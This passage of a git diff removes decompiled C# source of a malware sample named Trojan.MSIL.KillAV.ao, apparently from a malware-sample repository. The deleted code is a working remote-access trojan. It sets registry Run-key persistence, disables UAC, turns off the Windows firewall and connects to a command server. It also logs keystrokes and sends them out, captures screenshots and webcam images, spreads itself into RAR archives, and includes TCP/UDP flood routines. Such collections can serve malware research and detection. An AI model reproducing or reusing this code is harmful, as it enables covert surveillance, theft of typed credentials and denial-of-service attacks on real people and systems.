true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "..", false)) - Thread.Sleep(2000); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "Kill", false)) - { - try - { - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - objArray2[0] = (object) local; - object[] Arguments = objArray1; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num, - (object) s - }, (string[]) null, true, false); - File.Delete(path); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - if (Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) null), (object) null, false)) - { - B.FR = Conversions.ToString(MyProject.Computer.Clock.LocalTime) + " >> " + Application.ExecutablePath; - MyProject.Computer.Registry.ClassesRoot.SetValue("!", (object) API.ENB(ref B.FR)); - } - else - { - string s = Conversions.ToString(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) "*")); - B.FR = API.DEB(ref s); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.FR = "*"; - ProjectData.ClearProjectError(); - } - try - { - this.R(); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - B.SU = "*"; - B.mU = "*"; - try - { - NK.Key = "HKEY_CURRENT_USER\\Software\\nKey"; - string N = "vname"; - B.Vname = NK.GetValue(ref N, ref B.Vname); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - try - { - string str1 = "FT"; - ref string local1 = ref str1; - string str2 = ""; - ref string local2 = ref str2; - if (Operators.CompareString(NK.GetValue(ref local1, ref local2), "", false) == 0) - { - B.FT = true; - string str3 = "FT"; - ref string local3 = ref str3; - string str4 = "&"; - ref string local4 = ref str4; - NK.SetValue(ref local3, ref local4); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.cc = 4; - if (B.UU) - this.BW.B.RunWorkerAsync(); - new Thread(new ThreadStart(B.E)).Start(); - try - { - MyProject.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", (object) 0, RegistryValueKind.DWord); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - new Thread(new ThreadStart(B.Key.Start)).Start(); - this.con(); - this.wL.Interval = 1000; - this.wL.Enabled = true; - } - - public void wL_() - { - this.wL.Enabled = false; - try - { - checked { ++this.cc; } - checked { ++this.c0; } - if (this.c2 < 5) - checked { ++this.c2; } - if (this.c2 == 5) - { - try - { - Process[] processesByName1 = Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName); - int index1 = 0; - while (index1 < processesByName1.Length) - { - Process process1 = processesByName1[index1]; - try - { - if (FileSystem.FileLen(process1.MainModule.FileName) == FileSystem.FileLen(Process.GetCurrentProcess().MainModule.FileName)) - { - if (process1.Id != Process.GetCurrentProcess().Id) - { - try - { - process1.Kill(); - Process[] processesByName2 = Process.GetProcessesByName("wscript"); - int index2 = 0; - while (index2 < processesByName2.Length) - { - Process process2 = processesByName2[index2]; - try - { - process2.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index2; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index1; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - try - { - if (B.Cht.Length > 0) - { - B.Chat = new chat(); - chat.clos = false; - B.Chat.nick = B.Cht; - B.Chat.Show(); - B.Cht = ""; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.Cht = ""; - ProjectData.ClearProjectError(); - } - if (Operators.CompareString(B.SU, "*", false) != 0) - { - if (this.cc > 4) - { - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false)) - registryKey.SetValue(B.SU, (object) (Application.ExecutablePath + " @..")); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false)) - registryKey.SetValue(B.SU, (object) Application.ExecutablePath); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.cc = 0; - } - } - if (!B.Connecting) - { - try - { - if (this.WC.Connected()) - { - if (B.ISEND) - { - checked { ++this.c3; } - string T; - if (B.FT & !B.isFT) - { - B.isFT = true; - T = "#blue"; - this.SEND(ref T); - } - if (this.c3 > 2) - { - this.c3 = 0; - bool p = false; - string str = API.A1(ref p); - if (Operators.CompareString(this.LA, str, false) != 0) - { - if (Operators.CompareString(str, "", false) != 0) - { - this.LA = str; - T = "#3" + IND.Y + this.LA; - this.SEND(ref T); - } - } - } - } - } - else - { - this.Dis(); - this.con(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Dis(); - this.con(); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.wL.Enabled = true; - } - - public void con() - { - B.Connecting = true; - try - { - this.CL(); - B.DS = false; - if (!B.netsh) - { - B.netsh = true; - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "netsh", - Arguments = "firewall set opmode disable", - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - this.WC = new SocketsClient(); - this.WC.Connect(Strings.Split(B.no, ":")[0], Conversions.ToInteger(Strings.Split(B.no, ":")[1])); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Thread.Sleep(1500); - B.Connecting = false; - } - - public void Dis() - { - try - { - this.CL(); - B.DS = true; - B.ISEND = false; - this.WC.Disconnect(); - this.WC = (SocketsClient) null; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void SEND(ref string T) - { - try - { - this.WC.SendData(this.WC.STB(T)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void W0() - { - try - { - string T = "#2" + IND.Y + API.A0() + IND.Y + B.Vname + "_" + sc.HWD(); - this.SEND(ref T); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - string str = "X"; - int num = 0; - do - { - str += "\r\nX"; - checked { ++num; } - } - while (num <= 5); - string T = "#2" + IND.Y + str + IND.Y + B.Vname + "_" + sc.HWD(); - this.SEND(ref T); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - B.ISEND = true; - Thread.Sleep(100); - this.CL(); - B.DS = false; - } - - public void W1(string T) => this.CL(); - - public void W2() - { - this.CL(); - B.DS = true; - B.ISEND = false; - } - - public void W3(byte[] Data, int totBytes) => this.WC.AT(Data); - - private void fs_Created(object sender, FileSystemEventArgs e) - { - try - { - if (!e.FullPath.ToLower().EndsWith(".rar")) - return; - if (!File.Exists(Interaction.Environ("programdata") + "\\" + B.Ui)) - { - try - { - File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true); - File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - return; - } - } - else if (FileSystem.FileLen(Interaction.Environ("programdata") + "\\" + B.Ui) != FileSystem.FileLen(Application.ExecutablePath)) - { - File.Delete(Interaction.Environ("programdata") + "\\" + B.Ui); - File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true); - File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal); - } - string[] block = B.Block; - int index1 = 0; - while (index1 < block.Length) - { - string Right = block[index1]; - if (Operators.CompareString(e.FullPath, Right, false) == 0) - return; - checked { ++index1; } - } - B.Block[B.inx] = e.FullPath; - checked { ++B.inx; } - int num1 = 0; - do - { - Thread.Sleep(4000); - if (File.Exists(e.FullPath)) - { - byte[] numArray1 = File.ReadAllBytes(e.FullPath); - byte[] numArray2 = new byte[6] - { - (byte) 61, - (byte) 123, - (byte) 0, - (byte) 64, - (byte) 7, - (byte) 0 - }; - int num2 = checked (numArray2.Length - 1); - int index2 = 0; - while (true) - { - if (index2 <= num2) - { - if ((int) numArray1[checked (numArray1.Length - numArray2.Length + index2)] == (int) numArray2[index2]) - { - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "winrar", - Arguments = "a \"" + e.FullPath + "\" \"" + Interaction.Environ("programdata") + "\\" + B.Ui + "\"", - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - checked { ++B.err; } - if (B.err > 9) - { - this.fs.EnableRaisingEvents = false; - this.fs.Dispose(); - } - ProjectData.ClearProjectError(); - } - checked { ++index2; } - } - else - break; - } - else - goto label_4; - } - checked { ++num1; } - } - else - goto label_6; - } - while (num1 != 10); - goto label_21; -label_6: - return; -label_21: - return; -label_4:; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - checked { ++B.err; } - if (B.err > 9) - { - this.fs.EnableRaisingEvents = false; - this.fs.Dispose(); - } - ProjectData.ClearProjectError(); - } - } - - public class Key - { - private static Clock Clock = new Clock(); - private static Keyboard K = new Keyboard(); - - public static void Start() - { - try - { -label_8: - if (false) - return; - Thread.Sleep(10); - int i = 8; - do - { - if (B.Key.GetAsyncKeyState(i) == (short) -32767) - { - string Right = B.Key.w(); - if ((object) Right != (object) "" & (object) Right != (object) " " & Right != null & Right.Length > 0) - { - string Left; - if (Operators.CompareString(Left, Right, false) == 0) - { - string N = B.Key.KK(ref i); - B.Key.Wrt(ref N); - } - else - { - Left = Right; - string N = B.Key.HM() + Left + "\r\n\r\n" + B.Key.KK(ref i); - B.Key.Wrt(ref N); - } - } - } - checked { ++i; } - } - while (i <= (int) byte.MaxValue); - goto label_8; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string HM() => "\r\n\r\n[" + Conversions.ToString(B.Key.Clock.LocalTime.Month) + "\\" + Conversions.ToString(B.Key.Clock.LocalTime.Day) + "][" + Conversions.ToString(B.Key.Clock.LocalTime.Hour) + ":" + Conversions.ToString(B.Key.Clock.LocalTime.Minute) + "] "; - - public static void Wrt(ref string N) - { - if (B.KON) - { - try - { - B b = MyProject.Forms.B; - string str = "X" + IND.Y + N; - ref string local = ref str; - b.SEND(ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.KON = false; - ProjectData.ClearProjectError(); - } - } - string str1 = "lg"; - ref string local1 = ref str1; - string str2 = ""; - ref string local2 = ref str2; - string str3 = NK.GetValue(ref local1, ref local2); - if (str3.Length > 1024000) - str3 = ""; - string str4 = "lg"; - ref string local3 = ref str4; - string str5 = str3 + N; - ref string local4 = ref str5; - NK.SetValue(ref local3, ref local4); - } - - public static string KK(ref int i) - { - string String1 = "0123456789qwertyuiop[]{}asdfghjkl:;'\\|zxcvbnm,.<>/?~!@#$%^&*()_-+=\\|\""; - string str = ")!@#$%^&*("; - switch (i) - { - case 8: - return "{BACKSPACE}"; - case 9: - return "{TAP}"; - case 12: - return "\r\n"; - case 13: - return "\r\n"; - case 27: - return "{ESC}"; - case 32: - return " "; - case 37: - return "{LEFT}"; - case 38: - return "{UP}"; - case 39: - return "{RIGHT}"; - case 40: - return "{DOWN}"; - case 46: - return "{DEL}"; - case 162: - return "{CTRL}"; - case 163: - return "{CTRL}"; - case 164: - return "{ALT}"; - case 165: - return "{ALT}"; - case 186: - return B.Key.u() ? ":" : ";"; - case 187: - return B.Key.u() ? "+" : "="; - case 188: - return B.Key.u() ? "<" : ","; - case 189: - return B.Key.u() ? "_" : "-"; - case 190: - return B.Key.u() ? ">" : "."; - case 191: - return B.Key.u() ? "?" : "/"; - case 192: - return B.Key.u() ? "~" : "`"; - case 219: - return B.Key.u() ? "{" : "["; - case 220: - return B.Key.u() ? "|" : "\\"; - case 221: - return B.Key.u() ? "}" : "]"; - case 222: - return B.Key.u() ? "\"" : "'"; - case 226: - return B.Key.u() ? "|" : "\\"; - default: - if (Strings.InStr(String1, Strings.ChrW(i).ToString().ToLower()) <= 0) - return ""; - if (!B.Key.u()) - return Strings.ChrW(i).ToString().ToLower(); - try - { - int index = 0; - while (Conversions.ToDouble(Strings.ChrW(i).ToString()) != (double) index) - { - checked { ++index; } - if (index > 9) - goto label_59; - } - return Conversions.ToString(str[index]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_59: - return Strings.ChrW(i).ToString().ToUpper(); - } - } - - public static bool u() => B.Key.K.CapsLock & !B.Key.K.ShiftKeyDown || !B.Key.K.CapsLock & B.Key.K.ShiftKeyDown; - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern short GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(long hwnd); - - public static string w() - { - string str; - try - { - IntPtr foregroundWindow = B.Key.GetForegroundWindow(); - if (foregroundWindow == IntPtr.Zero) - { - str = " "; - } - else - { - int windowTextLength = B.Key.GetWindowTextLength((long) foregroundWindow); - string WinTitle = Strings.StrDup(checked (windowTextLength + 1), "*"); - B.Key.GetWindowText(foregroundWindow, ref WinTitle, checked (windowTextLength + 1)); - int lpdwProcessID; - B.Key.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID); - if (lpdwProcessID == 0) - { - str = WinTitle; - } - else - { - try - { - str = Process.GetProcessById(lpdwProcessID).MainWindowTitle; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = WinTitle; - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = " "; - ProjectData.ClearProjectError(); - } - return str; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/B.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/C.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/C.cs deleted file mode 100644 index 6ad9c33f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/C.cs +++ /dev/null @@ -1,117 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.C -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace n -{ - public class C - { - public static byte[] Plug; - - public static object inv(ref byte[] F, ref string C, ref string S, ref object P) - { - Assembly assembly = Assembly.Load(F); - return assembly.GetType(C).GetMethod(S).Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(assembly.GetType(C)))), (object[]) P); - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags); - - public static byte[] Capture1(ref int q, ref int HWD) - { - if (HWD == 0) - HWD = API.GetForegroundWindow().ToInt32(); - if (HWD == 0) - return new MemoryStream(sc.gc(ref q)).ToArray(); - C.RECT lpRect = new C.RECT(); - C.GetWindowRect((IntPtr) HWD, ref lpRect); - int height = checked (lpRect.bottom - lpRect.top); - if (height < 0) - height = 1; - int width = checked (lpRect.right - lpRect.left); - if (width < 0) - width = 1; - Bitmap bitmap = new Bitmap(width, height); - Graphics graphics = Graphics.FromImage((Image) bitmap); - IntPtr hdc = graphics.GetHdc(); - C.PrintWindow((IntPtr) HWD, hdc, 0U); - graphics.ReleaseHdc(hdc); - graphics.Dispose(); - int num; - switch (q) - { - case 0: - num = 80; - break; - case 1: - num = 70; - break; - case 2: - num = 65; - break; - case 3: - num = 50; - break; - case 4: - num = 45; - break; - case 5: - num = 40; - break; - case 6: - num = 35; - break; - case 7: - num = 30; - break; - case 8: - num = 25; - break; - case 9: - num = 20; - break; - case 10: - num = 10; - break; - } - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - MemoryStream memoryStream = new MemoryStream(); - IntPtr callbackData; - bitmap.GetThumbnailImage(checked ((int) Math.Round(unchecked ((double) width / 1.4))), checked ((int) Math.Round(unchecked ((double) height / 1.4))), (Image.GetThumbnailImageAbort) null, callbackData).Save((Stream) memoryStream, encoderInfo, encoderParams); - bitmap.Dispose(); - return memoryStream.ToArray(); - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetDesktopWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetWindowDC(IntPtr hwnd); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ReleaseDC(IntPtr hwnd, IntPtr hdc); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetWindowRect(IntPtr hwnd, ref C.RECT lpRect); - - public struct RECT - { - public int left; - public int top; - public int right; - public int bottom; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Cam.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Cam.cs deleted file mode 100644 index 78098400..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Cam.cs +++ /dev/null @@ -1,104 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.Cam -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DirectX.Capture; -using Microsoft.VisualBasic; -using System; -using System.Drawing; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - public class Cam - { - private ComboBox Divs; - private ComboBox Comp; - private ListBox lboxDriver; - private Cam.Active CaptureInformation; - private Filters Dispositivos; - private PictureBox p; - - public Cam() - { - this.Divs = new ComboBox(); - this.Comp = new ComboBox(); - this.lboxDriver = new ListBox(); - this.Dispositivos = new Filters(); - } - - public void dispose() - { - this.CaptureInformation.CaptureInfo.DisposeCapture(); - this.CaptureInformation.CaptureInfo.Dispose(); - } - - public Image cap(ref int i) - { - this.CaptureInformation.Camera = this.Dispositivos.VideoInputDevices[i]; - this.CaptureInformation.CaptureInfo = new DirectX.Capture.Capture(this.CaptureInformation.Camera, (DirectX.Capture.Filter) null); - this.CaptureInformation.CaptureInfo.FrameCaptureComplete += new DirectX.Capture.Capture.FrameCapHandler(this.RefreshImage); - this.CaptureInformation.Counter = 1; - this.CaptureInformation.CounterFrames = 1; - this.CaptureInformation.CaptureInfo.Stop(); - this.CaptureInformation.CaptureInfo.VideoCompressor = this.Dispositivos.VideoCompressors[0]; - string[] strArray = "160x120".Split('x'); - this.CaptureInformation.CaptureInfo.FrameSize = new Size(checked ((int) Math.Round(Conversion.Val(strArray[0]))), checked ((int) Math.Round(Conversion.Val(strArray[1])))); - this.CaptureInformation.CaptureInfo.FrameRate = Conversion.Val((object) 5); - this.CaptureInformation.CaptureInfo.PreviewWindow = (Control) new Panel(); - this.CaptureInformation.CaptureInfo.CaptureFrame(); - int num; - do - { - Thread.Sleep(1); - Application.DoEvents(); - if (this.p != null) - { - Image image = (Image) this.p.Image.Clone(); - this.p.Dispose(); - return image; - } - checked { ++num; } - } - while (num != 5000); - return (Image) null; - } - - public void RefreshImage(PictureBox Frame) => this.p = Frame; - - public string Dnames() - { - this.Divs.Items.Clear(); - short num1 = checked ((short) (this.Dispositivos.VideoInputDevices.Count - 1)); - short index1 = 0; - while ((int) index1 <= (int) num1) - { - this.Divs.Items.Add((object) this.Dispositivos.VideoInputDevices[(int) index1].Name); - checked { ++index1; } - } - int num2 = checked (this.Divs.Items.Count - 1); - int index2 = 0; - string str; - while (index2 <= num2) - { - str += this.Divs.Items[index2].ToString(); - if (index2 != checked (this.Divs.Items.Count - 1)) - str += "^:^"; - checked { ++index2; } - } - return str; - } - - public struct Active - { - public DirectX.Capture.Filter Camera; - public DirectX.Capture.Capture CaptureInfo; - public int Counter; - public int CounterFrames; - public string PathVideo; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Delegates/T/T.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Delegates/T/T.cs deleted file mode 100644 index cac40799..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/Delegates/T/T.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.Delegates.T.T -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Windows.Forms; - -namespace n.Delegates.T -{ - [StandardModule] - public sealed class T - { - public static void appendText(ref Form Frm, ref byte[] D) - { - if (Frm == null || Frm.IsDisposed) - return; - if (Frm.InvokeRequired) - { - n.Delegates.T.T.DELappendText method = new n.Delegates.T.T.DELappendText(n.Delegates.T.T.appendText); - Frm.Invoke((Delegate) method, (object) Frm, (object) D); - } - else - IND.ind(D); - } - - private delegate void DELappendText(ref Form Frm, ref byte[] D); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/FLD.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/FLD.cs deleted file mode 100644 index 62d93558..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/FLD.cs +++ /dev/null @@ -1,126 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.FLD -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Net.Sockets; -using System.Threading; - -namespace n -{ - public class FLD - { - public byte[] pk; - public string HOST; - public int Port; - public int Count; - private int ALV; - - public FLD() - { - this.pk = new byte[1]; - this.ALV = 0; - } - - public void Start(ref bool TCP) - { - try - { - Thread[] threadArray = new Thread[checked (this.Count + 1)]; - int num1; - do - { - Thread.Sleep(1); - int num2 = checked (threadArray.Length - 1); - int index = 0; - while (index <= num2) - { - if (threadArray[index] == null & this.ALV < 100) - { - threadArray[index] = !TCP ? new Thread(new ThreadStart(this.UDP), 1024) : new Thread(new ThreadStart(this.TCP), 1024); - threadArray[index].Start(); - } - else - checked { ++num1; } - checked { ++index; } - } - } - while (num1 != threadArray.Length); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void UDP() - { - byte[] numArray = new byte[0]; - byte[] pk = this.pk; - try - { - UdpClient udpClient = new UdpClient(); - udpClient.Client.Connect(this.HOST, this.Port); - udpClient.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - goto label_6; - } - UdpClient udpClient1 = new UdpClient(); - try - { - udpClient1.Connect(this.HOST, this.Port); - udpClient1.Client.SendTimeout = -1; - udpClient1.Client.ReceiveTimeout = -1; - udpClient1.Client.Send(pk, pk.Length, SocketFlags.None); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_6: - checked { this.ALV += -1; } - } - - public void TCP() - { - byte[] numArray = new byte[0]; - byte[] pk = this.pk; - try - { - TcpClient tcpClient = new TcpClient(); - tcpClient.Client.Connect(this.HOST, this.Port); - tcpClient.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - goto label_6; - } - TcpClient tcpClient1 = new TcpClient(); - try - { - tcpClient1.Connect(this.HOST, this.Port); - tcpClient1.Client.SendTimeout = -1; - tcpClient1.Client.ReceiveTimeout = -1; - tcpClient1.Client.Send(pk, pk.Length, SocketFlags.None); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_6: - checked { this.ALV += -1; } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/IND.cs 